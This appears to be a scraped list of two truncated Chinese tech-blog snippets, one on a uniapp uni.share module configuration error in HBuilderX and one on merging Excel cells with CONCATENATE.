hbuilderx uniapp运行到真机控制台显示手机端调试基座版本号1.0.0,调用uni.share提示打包时未添加share模块

记录一个困扰了几天的一个蠢问题&#xff0c;发现真相的我又气又笑。 由于刚开始接触uniapp 移动端开发&#xff0c;有个需求需要使用uni.share API&#xff0c;但是我运行项目老提示打包时没配置share模块 我确实没在manifest内配置。网上搜了一些资料&#xff0c;但是我看官…

在Excel把两个单元格的内容,合并后显示在第三个单元格

在Excel中&#xff0c;将两个单元格的内容合并显示到第三个单元格有几种方法&#xff1a; 1. 使用 CONCATENATE 函数&#xff08;在较早版本的 Excel 中&#xff09;&#xff1a; 在目标单元格&#xff08;例如 C1&#xff09;中输入以下公式&#xff1a; CONCATENATE(A…